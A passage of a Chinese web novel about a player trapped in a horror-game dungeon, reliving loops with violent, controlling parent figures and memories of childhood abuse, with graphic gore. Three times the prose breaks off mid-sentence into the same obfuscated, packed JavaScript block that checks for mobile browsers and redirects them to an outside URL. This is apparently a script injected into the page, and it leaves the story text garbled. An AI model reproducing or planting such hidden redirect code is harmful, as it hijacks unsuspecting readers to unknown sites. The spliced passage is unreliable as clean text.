叫骂声中,云真真从容地递上盘子,指向客厅右侧的门:“回房间吃饭吧!满地碎片容易划伤,得先收拾一下。” 爸爸楞在原地,像台内存不足处理不了太多信息的过时机器,不知如何应对。 云真真向他传递的信息是各种夸张的挤眉弄眼,明显的暗示。 余光瞟到地上的影子,云真真清楚,妈妈此刻就在背后,高举菜刀窥探一切,伺机而动。 “妈妈辛辛苦苦做的饭,我们去房间里吃完再出来!”云真真见爸爸呈宕机状态,径直拉住他的胳膊,连拖带拽,将他拖进卧室,砰一声关上了门。 自己的卧室、厨房、客厅,阴森森的原生家庭中,云真真终于逃到第四个地点——父母的卧室。 很幸运,主卧的门上没有窗。整个房间却也因此一片昏暗。 云真真拉亮昏黄的灯泡,快速打量起整个房间。 房间中央摆着一张普通的双人床,上面却只放着一个皱巴巴的枕头。 异常现象需要格外注意,也许暗藏着逃离原生家庭的线索。 这个枕头,也许说明他们处于分居状态?除女儿房间、父母房间之外,再也没看到别的卧室。 云真真分析起家庭成员的关系,不禁联想到小时候的自己。现实世界的原生家庭已经够惨了,游戏里还得经历一遍。 那股伤感又自怜的情绪被副本捕捉到,潮水一般冲破闸门、倾斜而出,云真真暂时被情绪操控。 我可以选择当一个铁石心肠、十恶不赦、心狠手辣的人,可以日夜不分、不择手段、出卖灵魂地只向钱看,唯独选择不了能够拥有什么样的爸妈、出生于什么样的家庭。 原生家庭,永远是最隐秘、最黑暗的深海。 这也是独闯副本的重要原因。如同巨蟹座位于星盘中的天底,那是不愿示人的角落。 云真真的眼神被起伏的情绪冲击得越来越涣散,身体也僵直在原地无法动弹。 恨意悔意、自怜自伤、无能为力等一系列复杂的情绪被放大数万倍,云真真彷如置身梦境,做起梦中梦,对周边的一切渐渐丧失实感。 飘荡了不知多久,意识被锁骨处一小块区域拉了回来:痒痒刺刺的,像十几只小蚂蚁在爬。 刚才还在肩头处的两条小辫子,转眼间已经长到锁骨。发梢尖端扫着锁骨处的皮肤。 云真真猛然收回涣散的意识,抓起头发:靠,已经能辫三股辫了…… 难道说……停留在副本过久,已经成为巨蟹座副本的一部分了? 她火速点开玩家面板,查看倒计时:还好,时间只过去两天。 得快点破局!否则,在情绪的控制下,怕是要永远在黑暗的原生家庭中一遍又一遍地循环轮回下去。 目光落在爸爸身上,他呆坐在床边的单人沙发上,目光空洞地看着电视。 电视发出沙沙声,屏幕闪动着一片黑白雪花。又是一处无法忽视的异常。 肮脏的地板上,放着那盘红色的杂碎饭。 云真真打开墙边老旧褪色的衣柜,灰尘夹着霉味涌出来。 果然,衣柜里只堆着过时的女装。 云真真生出一个想法:这个家庭的爸爸,肉身看似坐在沙发上,精神却是缺席、甚至不存在的。 他更像一个工具人,等待着被激活,被给与明确指令。 记忆碎片一一闪过,云真真排列 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14965036|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 组合一番,得出结论:爸爸不吃下这盘东西,自己就会再次“死掉”。 无论如何,也得让他吃下去。 “电视好看吗?”云真真挡在爸爸面前,试图激活他,“这杂碎……饭,你到底吃不吃?” “这是人吃的饭吗?你妈就是想让我死,你们母女俩都恨不得让我早点死!”不出所料,爸爸终于说出在客厅时说过的台词。 他抬起脚,准备踢翻盘子,却被云真真率先夺了过去。 “爸爸,你说这些不是人吃的,为什么?我觉得挺好的。”云真真把盘子紧紧搂在怀里。 爸爸像发条人一般,僵硬地走过来,直直伸出手指,在盘子里反复翻动着。 按照记忆碎片,他会找出异物,再以此为理由,拒绝吃下这盘杂碎。云真真将再次倒在妈妈的刀锋之下。 然而这次,在进入客厅之前,云真真已经将异物悉数剔除。 门板另一侧,传来有节奏的刮擦声。云真真顿时心生烦躁,求求了,妈妈又磨刀霍霍向羔羊了! “没问题吧?你还是快点吃了吧。”云真真催促着,不时注意门口的动静。 “这到底什么东西,你猜不出来?”爸爸突然灵魂归位,像变了个人,话语和表情都生动起来,“那是……” 话到关键处,他的喉咙仿佛被无形的东西卡住,只能发出无意义的音节,全身不断抽搐,形容怪异瘆人。 背后的捶门声越来越重,一想到妈妈又将破门而入,云真真的脊背顿时灌满寒意。 咚!门终于被踹开。 妈妈投下的阴影笼罩住大半个房间。 爸爸眼神空洞,嘴里塞满杂碎,红色液体沿着嘴角不断向下滴。 云真真左手端盘,右手抓起满满一把红色肉泥,填鸭一般残忍地不断向他嘴里塞。 对不住了,NPC大哥。这也是剧情需要…… 云真真边在心里道歉,边恨不得把这盘杂碎直接倒进他的胃里。 “马上吃光!”云真真回头看着妈妈高举的刀,挤出一个干巴巴的笑容。 寒光划过,一声钝响,云真真闭上眼睛,等着下一次头痛欲裂地醒来。 咦?这次好像没有失忆? 云真真睁开眼,发现仍然身处主卧之中。 爸爸已经倒下,胸口裂成了两半,皮肉外翻。 进入副本起,只有自己一个玩家。 看到爸爸的惨状,云真真才想起,巨蟹座主宰的身体部位是胸部、胃部以及肺部。 “女儿,帮我把食材搬运到厨房。”妈妈笑眯眯地拎起爸爸的双脚。 云真真顺从地搬起上半身,假装没看到内脏外露的胸膛,和妈妈一同将“食材”搬进厨房。 “去把盘子拿过来,盛好饭拿去给爸爸,让爸爸吃下去,听妈妈的话!如果慢了一点,我们娘俩又没有好日子过了!”妈妈再次说出相同的话。 爸爸不是已经在厨房里了吗?怎么还要让他吃下去啊…… 云真真血液几乎凝固,努力不让沮丧的情绪外露,再次来到客厅。 叮呤咣啷……碗盘碎裂的声音响起。 客厅中,又站着一个爸爸。 44. 逃离原生家庭(5) 依照前几次循环流程,爸爸此时应该将桌上那只小酒杯扫到地上。 云真真站在圆桌另一端,静候“靴子落地”。 秒针一秒一秒跳动,爸爸却始终楞在原地,呆呆盯着酒杯。 如同被虚空之手抽走了灵魂。也不对,被抽走的明明是……肉身?! 循环发生了微小的变化。 咚、咚……厨房方向传来重锤钝响,催命一般。 云真真麻溜地盛了一盘新鲜热乎的杂碎回来,试探着推到爸爸面前:“新出锅的,妈妈让你吃完。” 爸爸像被谁拧动发条,机械地伸出手,抓起一大把肉泥,塞入嘴里。 云真真总算松了一口气:【让爸爸吃下这盘不知名物体】的任务,终于能完成了。 只是,这盘不知名物体,现在已经知名。 云真真想起一句台词:“皇后杀了皇后”。套用一下,眼前的场景是“爸爸吃了爸爸”…… 有点恶心了。 管他呢,这是游戏,子子孙孙无穷匮也……只要能快点逃离这变态的原生家庭,怎么着都行。 事与愿违,爸爸速度很慢,每一个动作,都像在看放慢10倍后的影片。 吃一口,嚼三下,咕——咚——一声吞下去,像被设定好程序的机器人。 下一步会怎样进行?云真真瞟向客厅尽头的大门,思索着。 暗红色的厚重铁门,隐没在昏暗之中,显然是逃离原生家庭的最后一道关卡。 目光重新回到爸爸脸上之时,云真真瞳孔骤然收缩、心脏猛地一紧,后颈泛起细密的鸡皮疙瘩。 爸爸仍在自行“填鸭”,红色混合物沿着嘴角不断溢出,喉咙里发着呜噜呜噜的吞咽声。 但他的模样发生了变化。 瘦削有棱角的脸庞,肉眼可见地圆润了一些;黑黄色调的皮肤,像开了美颜,白皙中透着一股死灰。 似乎在哪里见过…… 云真真光速搜寻乱成一团的记忆碎片,最终,床头那张全家福照片从脑海中冉冉升起。 爸爸的容貌,正在向那张照片靠近。 随着盘中“剩饭”不断减少,他眼中的光变愈加暗淡,皮肤愈呈死灰,脸颊甚至泛出一丝祭祀纸人专属的红。 记忆中并不连贯的时间线上,他曾经表达过不吃的强烈意愿,也说过“你终于清醒了”之类的话。那时,还有一丝活人的味道。 如今,只剩下机械地咀嚼吞咽声,僵硬的表情和动作。 后颈处升起的寒意迅速传遍全身:有的人活着,他已经死了。 云真真下意识摸了摸辫稍,目光凝重地看向大门:自己已经“死”到哪一步了? “吃……光……了……!”爸爸裂开嘴笑着,眼中却漆黑一团、不含丝毫笑意,假人感扑面而来。 “哦。那我把盘子拿到厨房去。”云真真莫名烦躁不安,想快点离开这个副本。 刚转过身,头“咚”一声撞向某个坚硬的器物,眼前顿时冒出星星。 妈妈嘴角咧到耳根,眼中闪烁着疯狂的光,云真真撞上的,正是她手中端着的巨大不锈钢盆——大到3岁小孩能在里面洗澡。 红色肉块肉泥杂碎堆砌满满一盆,散发出阵阵腥臭。 不祥的预感在云真真心中升起,很快变成了现实。 “爸爸已经吃过饭了,现在,轮!到!你!了!!!我亲爱的女儿!”妈妈抓起一把杂碎,直直怼向云真真的脸庞。 云真真迅速后退几步,擦去脸上溅到的血污,连连摆手:“我刚吃过饭,还不饿。” “好女儿,这都是为你了好,妈妈辛辛苦苦做的,不!吃!也!得!吃!”妈妈紧随云真真,将大盆举到她眼前,紧贴着鼻尖。 这游戏,非要这样才能通关吗?云真真生理和心理同时被大写的“恶心”占据。 “辛辛苦苦做的……都是为了你好……”一旦大人说出诸如此类的话,孩子就要硬生生吞下自己不喜欢的东西。 满盆红色映入云真真的双眸,烧成了火。 隐隐约约的火光中,她看到了曾经的自己。 爸爸的拳头砸向瘦弱的妈妈,妈妈的拳头落向更弱小的自己:“都是有了你,我才要忍受他的暴力……” 外人前面,小云真真故意捣些小乱,妈妈边摇头笑边收拾残局,那样更能彰显她的牺牲与伟大; 只剩母女二人时,小云真真察言观色、安静勤快,却扔抵挡不住妈妈的歇斯底里。 摇晃的灯泡下,她捏着缝纫用针边哭边骂,一下一下扎向自己的手臂…… 满分数学考卷和奥数培训班报名表碎片雪花般满屋飞舞,妈妈的话比雪更冷:“女孩学习好有什么用,学费这么贵!” …… 云真真陷入血红的大漩涡之中,一时间分不清这些画面究竟是真实发生过、一直掩埋在内心最深处,还是经由巨蟹座副本放大篡改之后的。 她也不愿去细分、去深究,万一真相更加赤裸、更加痛苦呢……漩涡之中,她的意识迷迷糊糊地旋转起来,转成一朵血色彼岸花。 混沌,隐忍,痛苦……转啊转啊,鬼打墙一般没有出口,身体似乎被封住,意识将要永远停留在这里盘旋了。 突然,一股强烈的腥臭通过鼻腔深入大脑,残存的嗅觉将云真真拽回肉身,她触电一般打了个激灵。 猛然回过神,云真真惊觉手中抓着一把杂碎,血沫从指缝中溢出,弄脏了上衣的胸口区域。 只差一点点,就要张开嘴吃下这些东西了! 妈妈诡异地盯着云真真,似笑非笑,似乎充满期待。 云真真迅速回头瞟向爸爸,幻想他也许能有片刻清醒,帮得上什么忙。 然而,爸爸的笑脸很快打消了她的侥幸:那是一张恶意满满、表情扭曲的脸。 爸爸的面容、表情,变得和妈妈一模一样! 他被妈妈“吃掉”了! 云真真体内寒意涌动,恍然悟出这个副本表达的东西:隐形控制,完全吞没。黑暗的原生家庭中,不要妄想有人会拯救你! 唯有自救! 爸爸妈妈似乎发现云真真“醒”了过来,一人抓起一把杂碎,疯狂怼向她的脸,强迫她张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15016523|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开嘴。 云真真使出泰拳助教的看家本领,左躲右闪、U型蹲起,爸爸妈妈也毫不示弱,出拳速度越来越快,盆中的血肉飞溅成阵阵腥风血雨。 这是彻底撕破脸,装都不装了!现实中诸如此类的原型父母也不少,洗脑无用便付诸暴力,打到你服软滑跪,无能懦夫!核心运动做了十几分钟,云真真累得气喘吁吁,仍不忘吐槽。 妈妈见屡屡失手,突然改变策略,大吼一声将硕大的高举过头,对准云真真扣过来。 血雨肉山倾盆而下,堆成一座小山,空盆在地上转着圈。 小山之下被压住、拼命挣扎的,不是云真真,却是爸爸妈妈。 刚才躲闪大战之时,云真真瞄到了地上的红色软管。 那根奇怪的软管子遍布家中各个角落,一直通往大门口。 云真真趁着蹲下的机会,将管子迅速拎在手中,又利用多次移动躲闪,将爸爸妈妈围在红软管大锁套之中。 眼看时机成熟,迅速收紧管子,锁套随之缩小,爸爸妈妈被牢牢绑在一起,共同享受满满一大盆杂碎。 “再、见!”云真真依然紧紧握着锁套收口,向爸爸妈妈微笑招手,跑向那道暗红色大门。 打开门的时刻,城中村特有的味道便会扑面而来。那是贫穷的味道。 可云真真有些想念它。 “咔嚓”,门锁转动。 期待的声音并没有如约到来。即使那只不过是“叮”的一声机械音,伴随着谁又化为流星的信息。 她只是站在了走廊上——原生家庭的门口。 这是一栋类似于土楼的圆形建筑,抬头看,不知上面究竟还有多少层,天空灰蓝,露出小小的一块钱硬币大小。 低下头,如置身悬崖峭壁,崖底红通通一片,似乎翻涌着沸腾的岩浆。 云真真所在的位置,不过是成千上万层楼中的一层,每一层楼近百间房中的一间。 整栋建筑如同一个巨大而封闭的蚂蚁窝,黑暗且空寂。云真真瞬间感到自己就是一只小小的蚂蚁,永远也爬不到地面上、见到阳光。 绝望的情绪逐渐冒头,吃了几次亏的云真真敏锐察觉,将它一把掐灭。 开什么玩笑!被情绪控制的人,是赚不了大钱、成不了大事的! 她回想银行卡不断上涨的余额,和那个不再遥不可及的宏伟目标,精神迅速振奋起来。 从这个一辈子都走不完的建筑中逃离,究竟要怎么做? 云真真回头观察着大门,除了门牌号上写着血红的“444”,并没有其他信息。 走到隔壁观察,同样是444号!再看隔壁的隔壁,依然是444号!! 这是怎么回事?说明这一层是第444层? 云真真走了小半圈,经过几十间444号房,终于发现了楼梯。 她不假思索地向上爬去。 如果没猜错,上面一层的门牌号应该是445。 深呼吸定睛看去,红色大写的444赫然在目。 这是什么鬼?用谐音梗咒我死吗?云真真绝望到笑了出来。 45. 逃离原生家庭(6) 云真真陷在这座巨大的圆柱形建筑物之中,渺小孤立,不及一粒微乎其微的尘埃。 地狱之风轻轻拂过,眼睛都来不及眨,顷刻间灰飞烟灭。 她努力压制住打地鼠一般反复冒头的复杂情绪,高高仰起头,用食指和大拇指圈出一个小小的圆圈,将头顶那片“天空”圈在其中。 小小的光亮如此微茫,好比普通人一夜暴富的可能性。但若逃不出去,就得把底部沸腾的岩浆当洗澡水,永永远远沐浴其中。 她定定神,点开个人面板:倒计时还剩下45个小时24分37秒。 原地等到秒表跳为0,云真真甩开结实的腿弹了出去,径直前往本层楼距离最远的圆形另一端后,飞奔上楼梯。 这栋诡异的建筑物中,楼梯呈交错构造。通向本层的楼梯位于脚下,但还想再上一层,就得跑到180度的另一端,曲折迂回,循环往复。 耗能最大化,折腾死人不偿命。 云真真气喘吁吁地奔跑着,无数个444号的红色门牌在视觉残留的作用下,连成了一条暗红色巨型管子。 一口气爬了20层之后,她终于停下脚步,大口喘着粗气点开倒计时。 时间过去了40分钟。 这就表示,每上一层楼需要2分钟。 剩下44小时44分钟……天使数字什么鬼?行吧,你也在咒我死!云真真不得不把精神状态调得美丽一些。 如果不考虑体能损耗和意外情况,剩下的时间最多能再向上爬1342层。 人处于巨大绝望中,是会笑的。 云真真无奈地勾着嘴角,再次以食指和拇指圈起小圆圈,对准那一枚硬币大小的天空。 然而,爬上20层楼之后,看到的天空似乎更小了呢…… 近大远小,真是越努力,越不幸啊! 她索性坐在444号房间门口,神色有些颓然,脑海中浮出一个故事。 古巴比伦人想知道通天塔之上,天堂究竟是什么样子,于是集全国之力,浩浩荡荡爬通天塔。 几十代人在攀爬的过程中老死或者失足牺牲,他们的子孙又继续向上攀登。 终于,最新一代子孙距离通天塔顶端只剩下一节楼梯的距离。 他们颤抖着、雀跃着、哭泣着登上最后一截楼梯,虔诚激动地等待圣光普照,却惊奇地发现,所在地是通天塔最底端。 一切都是无望的,没有意义的……记忆都裂成碎片的时候偏偏想起这个故事,云真真明白这绝非偶然。 她鬼迷心窍地站起身,走到天井边缘,向地下深渊看去。 边缘没有围栏,视野异常清晰。 黑色冷却物与血红岩浆翻涌交错,充满一股无法言表的致命诱惑力。 云真真眼神逐渐迷离,岩浆翻滚、沸腾又冷却,留下的轨迹渐渐化作一朵血巨型色彼岸花,在地底摇曳招手,似乎在轻笑着叫她过去。 不知不觉中,脚尖一点一点探出走廊,在边缘悬空,身体也不自觉向前倾去。 投入彼岸花的怀抱吧,那是最终的、最好的归宿。 炽烈的火吞没了妈妈,所以也该一同燃烧掉我…… 纵深跃下的念头充斥整个大脑,自我意识即将熄灭。 痛,好痛! 细微的痛感突然出现在意识之中,漆黑的大脑亮起一个小点。 痛感来自何处?小亮点的范围渐渐扩大,扫描着整个身体,最终定位到左边后脑勺区域。 云真真回过神,连忙后退几步,后背紧紧贴住冰冷的444号大门,一身冷汗渗透衣服。 左手拉向疼痛区域,发现是“发圈”扯住了头发根部。 千钧一发的具象化……云真真倒吸一口冷气,取下发圈。 那是444号房间的妈妈从杂碎堆里捞出来、强行给她扎上的不明物。 她原以为是筋、肠一类的东西,剥去组织肉沫之后,熟悉的手感从指尖传到内心深处。 天鹅绒质地的表面,内里包裹着长条铁丝。 是彼岸花的残片。 妈妈……还是爱我的吧。 云真真轻轻抚摸着这一小节残片,预感情感即将决堤。 打住!她咬着牙,果断将另外一边的“发圈”也扯下来,心狠手辣地一同投入悬崖之下。 都是情感的幻象与操作手段。她闭上眼睛深呼吸,仅仅抓牢口袋中那朵真实的彼岸花。 咚咚咚!咚咚咚!四周突然响起震耳欲聋的敲门声,夹杂着刺耳的抓挠声。 难以忍受的混合声音在深井构造的建筑物中来回激荡,混杂成令人不安的噪音,分不清到底是哪一道门发出来的。 云真真迅速走过几道门,每一道门都发出异响,每一道门后都是未知。 从里向外敲门……违反常情的一点。显然,这也是一个变调的音符。 她迅速检查几道门,在愤怒的敲门声中大步跨上楼梯,一道道暗红色大门在跑动的风中闪过。 脚步停下,低下头,目光顺着面前这扇444号房门的缝隙,向中间悬崖延伸过去。 她确认了一个事实。 每一扇444号房门底部,都延伸出一条极细的红线,如同团扇上满绣的圆月,丝线由圆形边缘出发,经由走廊形成的半径,密密麻麻汇聚到圆心处——深渊岩浆。 捶门声如敌方战鼓,天空遥不可及,低头万丈深渊,红色细线引发密集恐惧症,云真真顿感自己成了一只不折不扣的瓮中之鳖。蹩脚得要死,无计可施。 往哪里逃?原生家庭的势力范围,也太大了吧…… 这一根根丝线,又代表什么? 云真真硬着头皮蹲下来,指尖触碰着头发丝般粗细的红线。 软软的,有韧性,手感熟悉。 一路摸过去,直到走廊边缘,俯瞰深渊。 无数红色丝线导向深渊,底部岩浆似乎翻涌得更加激烈,沸腾的红冷却成黑,继而再次燃烧起来,有源源不断、取之不竭的能量。 这根丝线,莫非是供能管道?记忆碎片一一闪过,门内两室一厅的家中,遍布着奇怪的红色管道。 定睛向深渊看去,岩浆与冷却的物质似乎组成某种意义的动态图形。 一开一合的椭圆,上下移动的尖利三角形,一根根飞舞的曲线…… 没错,那是妈妈的脸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15038161|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她张开血盆大口、露出尖牙,在深渊底部吞噬着来自所有444号房的能量,却依然很饥饿。 云真真将每一块手臂肌肉运用到极致,试图扯断面前的红色丝线。 因为太过用力,面部逐渐扭曲、双臂开始颤抖,那根线却依然坚如磐石。 接连试了几次都以失败告终,最终只能气喘吁吁地放弃。 什么材料会如此细又如此坚韧?云真真边理性分析边感性做梦,如果把这种高新材料带出去报个专利、广泛应用,说不定能登上富豪榜…… 当然,前提是逃出这个破原生家庭。 传输能量,红色纽带,坚不可摧。很像一样东西。 脐带。 意识到这一点,云真真汗毛倒竖,抬头环顾建筑——的确像一个巨大又黑暗的子宫。 正常情况下,脐带为胎儿输送营养,在这里却倒了过来。 胎儿若想逃离子宫,要么顺利出生,要么死去。 四五岁时的一段记忆跳了出来。 睡前,妈妈拍着云真真讲故事:“你要出生时呢,脐带绕颈三圈。顺产有一定风险,妈妈想选择剖腹产,可是爸爸家说剖腹产贵,你又是个女孩子,好在最后有惊无险,把你生下来了,还抢救了十多分钟!你可真调皮,在肚子里的时候就淘气玩脐带……” 小云真真本来眼皮已经打架,听后反而来了精神:“可是妈妈,会不会是我自己选择不要出生?” 妈妈呵呵笑了:“一个胎儿,就是一团肉,能有什么思想?别瞎说了,快睡吧……” 从那时起,云真真的想法就不曾变过。如果提前知道会出生在这样一个家庭,又拥有选择权,那么大概率不会选择出生。 凝视着深渊之下妈妈贪婪的面庞,云真真突然笑了起来,火光映在脸上明明灭灭,显然这段回忆不是白白跳出来吃干饭的。 我之所以为我,是因为我拥有独立思想,拥有储存思想的大脑。 即使肉身一再被毁坏又重塑,只要头部这个容器还在,我依然能掌控自己。 不像房间里的爸爸,头部已不复存在。 云真真站起身,目光坚定地望着身后的444号房。 回到最初的地方去,不要选择出生在这里。 咚、咚、咚!她举起拳头,对着444号房门反敲回去。 门轰然大开,一盆血肉杂碎劈头盖脸地砸了过来,夹杂着扑鼻腥臭,云真真迅速被埋其中。 一句“你二大爷的”还没骂出口,意识便消失了。 再次醒来,云真真站在环形长廊上,正对着不知哪一层哪一间的444号房。 头依然痛到想撞墙,她渐渐捡起一些记忆碎片,明白那痛是自我意识和洗脑意识之间的交战。 副本重置次数越多,记忆碎片越积累越多、越来越混乱,人脑一时之间处理不过来,很难不疯不傻。 也有一丝幸运,云真真自学过记忆宫殿术,尽量把碎片们有序安置在各个房间里,按需提取。 无数碎片中,只有一块是自己在敲门的场景。 云真真在头脑中“嘿、喝”地演练了一番,再次勾起手指,敲响444号房门。 46. 逃离原生家庭(7) 云真真敲响暗红色大门,节奏不疾不徐,在让人心烦意乱的撞击声、抓挠声形中成了一股清流。 清流汩汩流动着,嘈杂暴戾的建筑物突然安静下来。 只剩下“咚咚,咚咚”的声音,微弱却坚定,在寂静幽深的血宫中来回飘荡。 她内心更加笃定,敲响任何一扇444号房门,都能通向结局。 一根根红线,连接起所有房间,源头牢牢握在妈妈手中。 像孙悟空得意洋洋翻了无数个筋斗,仍旧逃不出如来的手掌心。 星图之中,巨蟹宫处于最底端,是最隐秘、最幽暗、最黑暗的角落。 和天蝎座外露的阴沉不同,巨蟹座是将人悄无声息、一丝一丝扯入黑暗中的那一类。 温柔刀杀人最痛,你甚至来不及察觉。 想到此处,云真真微微叹了口气。 门再次轰然大开。 如同怪兽张开黑洞洞的大嘴,杂碎血腥又一次从口中喷涌而出。 妈妈钻进肉山中翻找起来,眼中闪烁着兴奋的光:“我的小乖乖,我的美味食材,不要再躲了……” “听妈妈的话,别让她受伤,想快快长大,才能保护她……”歌声从大门后方飘过来,妈妈从肉堆中弹出脑袋,额头、发梢沾满鲜血,眼神疯狂。 云真真小心翼翼地走出来,像个初次登台表演大合唱、期待讨好妈妈的小学生。 歌词中的投诚之意狗都能听出来,眼神中藏着的几分敏锐就不得而知了。 刀尖上跳舞,炼狱中唱歌……这都能行,还有啥是我做不到的?云真真宽慰自己,她实在尬得不行。 好在尴尬的氛围没有持续多久,啪、啪、啪……一阵有节奏的击掌声开始为云真真伴奏。 是肉堆后方呆呆站立的爸爸,他正面无表情地拍着手。 和逃离之前的记忆碎片相比,他好像有哪里不太一样…… 啊,他脖子上多了一条婴儿围嘴!白色棉布质地,滚着繁复的奶蓝色花边。 超过1岁使用,都显得过于奶了,如今却挂在一个长胡子的中老年男人粗糙的脖子上……云真真强忍住笑意。 后脊却泛起一阵一阵凉意,不能细想。 把成年男人活生生养成巨婴,也是中式恐怖故事浓墨重彩的一章…… 见妈妈的神色缓和了一些,云真真才敢停止歌声,捏了一副自己听了都想吐的奶音:“妈妈,我饿了,我要吃杂碎饭。外面一点也不好玩,我要回家……” 她想要的是绝对服从,那就假意服从。 反正她对你真正的思想漠不关心,只要乖乖戴上围嘴,当一个听话的娃娃呆坐在橱窗里就好。 妈妈从肉山中探出头来,将信将疑地盯着云真真,阵阵腥气从她身上飘散出来。 云真真调皮地吐着舌头,指尖拨弄起两条小辫子,“你看,我连麻花辫都梳不好,离开家肯定活不下去,妈妈帮我梳吧……” 妈妈的眉头终于展开,脸上扯起虚假的笑意:“还是得听妈妈的话吧!去餐桌边坐好不许动动,厨房里还有一些存货,你可要全部吃下去!咱们一家三口呀,好久没团团圆圆地吃——杂——碎啦!” 语气比“大家一起包饺咂”还虚假……但这服从性测试,总算暂时通过了。 重新回到阴森森的客厅,端坐在小圆桌旁边,听着厨房里传来的大卸八块声,云真真不敢轻举妄动。 戴着奶蓝色婴儿围嘴的爸爸正目不转睛地盯着她。 眼神和妈妈如出一辙,那张全家福的意义再次凸显出来。 思想完全被控制,自我完全消融。 想来好笑,自己曾经为了“保护妈妈”而试图解决掉爸爸。而那时,爸爸尚拥有一些独立思想。 帮凶竟是我自己…… 厨房中又砍又剁、屠宰场一般的声音突然消失,取而代之的是叮叮当当的装盘声。 不能再等下去了……否则就得被迫吃下恶心的杂碎、彻底被洗脑,再心甘情愿地戴上粉色滚边婴儿围嘴,和爸爸一同排排坐吃果果! 云真真果断站起身,拍拍爸爸的头:“我去帮妈妈端饭。” 爸爸“腾”一下站起身,紧紧跟上云真真,是个对监视工作尽职尽责的好傀儡。 行吧。云真真不动声色地穿过长廊,带着爸爸走向厨房。 距离厨房门约1米,云真真停下脚步。 一直竖起的耳朵第一时间捕捉到,叮叮当当的装盘声戛然而止。 地面投下的影子轮廓,显然是妈妈正高举着锋利的厨房刀,杀意在空气之中流动。 想当初,每发现游戏重置节点向前推进,云真真都以为自己距逃离又近了一步,不免暗中得意。 当初笑得多大声,重走回头路时就哭得多凄惨。 “妈~妈~!”云真真夹子音上线,“我和爸爸等不及,来帮你端饭啦!” 沉默的几秒钟异常漫长。这招用过了,如果不生效,还要采用其他预案。 幸而,巨蟹座吃软不吃硬。影子里的菜刀慢慢放下来,妈妈狰狞的脸从门框后伸了出来,声音里充满愤怒:“我命令过,你们得乖乖坐好不许动!” “我想回房间去……”云真真连忙解释。 “不!行!”已经放下的刀再次高举,门框随着怒吼微微颤动。 “我是想去拿随身听,循环播放《听妈妈的话》,拿了马上出来!”云真真顿住两秒,发现妈妈没有一口否决,继续向前试探。 “第一,边听歌边吃饭,食物会变得更美味,我可能会多吃一盆。第二,3秒钟就能拿出来,不会耽误吃饭的。”这两点,分别运用了和巨蟹宫相刑的天秤宫和白羊宫特质——享受艺术,速度至上。 “第三,让爸爸陪我去拿。”分列出一二三点,则用上了对宫摩羯座的理智和条理。 打出一套围剿巨蟹特质的组合拳,云真真满心期待能跨过这道坎。 “不行。回桌子边上乖乖坐着等。”结局仍然是否定,但妈妈的语气缓和了一些。 死脑子,快想,到底哪里还有漏洞……云真真站在原地,思想却已经环绕太阳系几圈。 “对了,我的头发长长啦,想把全家福拿出来,请妈妈按照片帮我编三股辫!”云真真灵机一动,试图踩在巨蟹座控制服从、亲情家人的点子上。 像个青春期的孩子,为了偷偷做点“坏事”,集欺骗与讨好一身,巴巴看着严厉的父母。 终于,妈妈将信将疑地答应了,但要求爸爸陪同。 云真真无声地欢呼雀跃,三步并两步跨到房间门口。 门上那块玻璃……老熟人了,噩梦就是从这儿开始的。 目光透过玻璃看进去,果然是块单向玻璃,房间的角角落落尽收眼底。 似乎有哪里不对劲儿……云真真再次扫视一圈,警觉透过这块玻璃观察到的女儿房居然没有死角! 从天花板上的蜘蛛丝,到墙角的黄斑霉点,以一种不合透视原理的方式出现在同一个视野里。 任何秘密都藏不住一点儿。 这种技术……如果运用于现实中的监控系统,不知道能捞上多大一笔!云真真擦干白日梦后流下的口水,侧头看了一眼身后比无死角监控还吓人的爸爸。 妈妈时刻窥视的双眼,仿佛长在了他的脸上,监视着自己的一举一动。 云真真气沉丹田,将全身力量集聚到右拳之上,核心发力,用力挥出。 “咚”,爸爸直挺挺瘫倒在地,头部如同胶皮球被扎破一般扁了下去,缩成一张皱巴巴的皮。 那两只眼球,却长出了脚一般,向厨房的方向溜去。 云真真迅速闪进副本的初始地点——女儿卧室,狠狠关上门。 门锁是老式插销,肉眼可见不结实,云真真只能把小破桌子、床头柜甚至一床烂被褥等能找到的东西悉数堆在门口,又从墙壁上飞速扯下两三张报纸,准备挡在单面玻璃上。 她推测出逃离原生家庭的最终密道就在初始房间,但不清楚具体该如何逃离。 能拖延的时间自然越长越好。 丝毫顾不上形象,云真真呸呸地向报纸边角吐着口水,用作胶水。 粘在玻璃上的前一秒钟,她看到妈妈高举着刀从厨房冲了过来。 只不过这次,她高高举起的刀不止一把,而是两把。 从爸爸脸上掉下来那两只眼球, 